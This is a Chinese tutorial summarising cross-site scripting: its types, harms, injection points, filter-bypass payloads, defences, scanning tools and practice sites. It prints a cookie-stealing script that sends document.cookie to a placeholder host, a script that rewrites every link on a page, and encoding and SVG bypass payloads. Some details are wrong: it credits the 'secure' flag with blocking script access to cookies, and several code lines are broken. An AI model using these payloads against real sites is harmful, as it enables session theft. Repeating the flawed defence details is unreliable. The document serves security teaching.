[总结]XSS基础
文章目录
[总结]XSS基础
7.1 XSStrike工具
7.2 xsser工具
5.1 同源策略
5.2 设置httponly
4.1 相关编码介绍
4.2 双写绕过
4.3 编码绕过
4.4 js伪协议绕过
4.5 CSS特性绕过
4.6 HTML5特性绕过
4.7 其他姿势
4.1.1 URL编码
4.1.2 html编码
4.1.3 JavaScript编码
3.1 探测XSS
3.2 可能存在的位置
2.1 cookie介绍
2.2 盗取用户信息
2.3 篡改网页链接
1.1 反射型XSS
1.2 存储型XSS
1.3 DOM型XSS
1 XSS分类
2 XSS危害
3 XSS存在位置
4 绕过简单保护机制
5 防范措施
6 XSS Filter过滤器
7 工具
8 在线靶场
XSS,跨站脚本攻击(Cross Site Scripting),为了不和CSS缩写混淆,故缩写为XSS。
1 XSS分类
1.1 反射型XSS
又称非持久性XSS,这种攻击往往具有一次性。
攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户,用户浏览器解析执行代码,触发XSS漏洞。
例如:
<?php echo $_GET[“uname”] ?>
1.2 存储型XSS
又称持久性XSS,攻击脚本存储在目标服务器的数据库种,具有更强的隐蔽性。
攻击者在论坛、博客、留言板,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。
例如:DVWA中的Stored XSS
1.3 DOM型XSS
全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式。
服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代码,触发XSS漏洞。
2 XSS危害
2.1 cookie介绍
Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式,Cookie是由web服务器保存在用户浏览器(客户端)上的小文件,他可以包含有关用户的信息。
目前有些cookie是临时的,有些是持续的。临时的Cookie只在浏览器上保存一段规定的时间,一旦超过规定的时间,该cookie就会被系统清楚。
服务器可以利用cookie包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。
cookie最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是cookie的功用。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入cookie,以便在最后付款时提取信息。
2.2 盗取用户信息
若存在反射型XSS漏洞的站点位置,可以利用以下链接来盗取cookie:
url?uname=<script>document.location=http://ip/cookies.php?cookie=" document.cookie</script>
其中的链接是恶意链接,目的是获取cookie并发送到恶意者的网站中。
此外,可利用cookie值,访问目标站点,利用获取的cookie值来访问网站,从而盗取用户信息。
2.3 篡改网页链接
使用JS代码,注入到对于的XSS位置,篡改网页中所有的链接。
//window.onload 当窗口加载时,执行匿名函数。//使用for循环遍历获得所有链接a标签//将所有a标签所有的链接都指向构造的URL<script> window.onload=function(){var link=document.getElementsByTagName("a"); for(j=0;j<link.length;j ){link[j].href="http://URL"; }}</script>
3 XSS存在位置
3.1 探测XSS
构造一个独一无二且不会被识别为恶意代码的字符串来提交到页面。
例如:123qwe
使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示。
如果显示,则构造对应的payload,例如
<script>alert();</script>
,观察是否弹出警告框,如果有,则存在XSS漏洞。
3.2 可能存在的位置
html标签中的属性,例如value值。
选择列表中,例如select标签中的option标签的value值。
html标签事件的事件,例如onload。
GET型URL中
POST型表单中
JSON中
自定义HTTP头中
4 绕过简单保护机制
4.1 相关编码介绍
4.1.1 URL编码
url的设计者,考虑到安全传输的问题,为了防止url字符丢失,所以选用了相对较小的、通用的安全字母表。另一方面,url的设计者希望url是完整的,有时候需要url中包含除去通用安全字母表之外的二进制数据和字符(比如中文)。所以url引入了一种转义机制,将不安全的字符编码为安全字符再进行传输。
百分号编码:url编码包含一个百分号,后面跟着两个表示字符ASCII码的十六进制数。例如:空格转为 。
4.1.2 html编码
一些保留字符出现在文本节点和标签值里是不安全的。比如“<>”会导致浏览器误认为标签。如果想要正确的显示这些字符,需要使用html编码。
实体编码:一般以“&”开头,以“;”结尾。
进制编码:以“&#”开头,加上字符的数值。字符的数值可以是任意十进制ascii码或Unicode字符编码。十六进制的数值需要在编码数字前加“x”。
4.1.3 JavaScript编码
数字形式:\u后面加上4位16进制数字(或\后加上2位16进制数字),按字符的Unicode数值编码,不足位数以零填充。如“<”转为“\u003c”或“\x3c”。其中,“\u”开头的Unicode转义方式可以用在字符串之外的位置。
4.2 双写绕过
同SQL注入的双写绕过,例如服务端中过滤了“script”关键字,一般是直接替换“script”为“”,则可以双写构造payload,<scrscriptipt>alert(1);</scrscriptipt>
来绕过。
4.3 编码绕过
当过滤了某些关键字时,例如构造<script>eval(atob('base64编码'));</script>
来绕过。
eval:计算某个字符串,并执行其中的JS代码
atob:将Base64编码解码。
此外,可以将字符转换为16进制编码或unicode编码来运行。
双斜杠 16进制绕过,例如,\\x3cscript\\x3ealert();\\x3c/script\\x3e
双斜杠 unicode编码绕过,\\u003cscript\\u003ealert();\\u003c/script\\x3e
HTML实体替换双引号:“ ”
——“ ”
CSS/JS编码(unicode)替换尖括号:< >
——\u003c \u003e
CSS/JS编码(base16)替换圆括号:( )
——\x28 \x29
ANSI编码替换局部er:alert
——alert
4.4 js伪协议绕过
将JS代码添加到伪协议说明符javascript后的URL中,这个特殊的协议类型声明了URL的主体是任意的JS代码,它由JS的解释器运行。
例如,<img>src=javascript:alert(1);
4.5 CSS特性绕过
可以在属性中,利用CSS和伪协议来绕过,
例如,background:url("javascript:alert(document.domain);");
4.6 HTML5特性绕过
插入新标签,在新标签中构造payload。
例如,SVG标签。
SVG意为可缩放矢量图形(Scalable Vector Graphics)。使用XML格式定义图像。
SVG文件可通过以下标签嵌入HTML文档:<embed>、<object>或者<iframe>,也可以使用svg标签插入。
<svg/事件="">
例如,<svg/onload="javascript:alert(1)">
4.7 其他姿势
使用反引号“`”代替圆括号,如alert(1)替换成alert`1`。
在过滤中可用空格,换行穿插在payload,从而绕过过滤机制,并且不会影响。
5 防范措施
5.1 同源策略
在计算机中,同源策略(Same-origin Policy,SOP)用于阻止一个非同源的页面恶意代码去访问另外一个非同源页面。
只有两个页面属于同一个源才能互相访问,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源,所以a.com下的JS脚本采用ajax读取b.com里面的文件数据是会报错的。
例如,源A页面要访问源B页面认证Cookie,如果不加阻止读取Cookie,会造成Cookies欺骗绕过登录验证。
注意:同源一定要是协议、主机名、端口号完全一致。
例如,http://www.example.com与https://www.example.com是不同源。
此外,
domain属性可以解决因同源安全策略带来的不同文档的属性共享问题。
降域document.domain同源策略认为域和子域属于不同的域。
可以通过都设置document.domain=‘a.com’,浏览器就会认为他们都是同一个源。
5.2 设置httponly
setcookie(name,value,expire,path,domain,secure)
expire可选。规定cookie的有效期。
path可选。规定cookie的服务器路径。
domain可选。规定cookie的域名。
secure可选。规定是否通过安全的HTTPS连接来传输cookie。如果设置为true,就不能使用JS来获取cookie,就可以初步避免cookie劫持。
6 XSS Filter过滤器
可从网上下载Filter,也可以使用各种函数来过滤。
htmlspecialchars()函数
把预定义的字符转换为HTML实体
即将符号转为真正的字符,例如尖括号
htmllentities()函数
这个函数对于过滤用户输入的数据非常有用。它会将一些特殊字符转换为HTML实体,例如,用户输入“<”时,就会被该函数转换为实体“>”
strip_tags()函数
该函数剥去字符串中的HTML、XML以及PHP的标签。
该函数始终会剥离HTML注释。这点无法通过allow参数改变。
该函数是二进制安全的。
除此之外,还可以自定义xss filter。
7 工具
7.1 XSStrike工具
XSStrike是一款检测XSS的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,二十通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外,XSStrike还具有爬行,模糊测试,参数发现WAF检测功能。它还会扫描DOM XSS漏洞。
项目地址:
https://github.com/s0md3v/XSStrike
运行在python3.6
安装命令:
sudo apt-get install python3-pip
git clone https://XXXXX.git
pip3 install -r requirements.txt
chmod x xsstrike.py
7.2 xsser工具
针对web应用程序自动化挖掘、利用、报告XSS漏洞的框架。
工具原理:不断拼接payload
8 在线靶场
https://xss-quiz.int21h.jp/
一个日本安全研究院制作的XSS练习靶场
https://xss.haozi.me/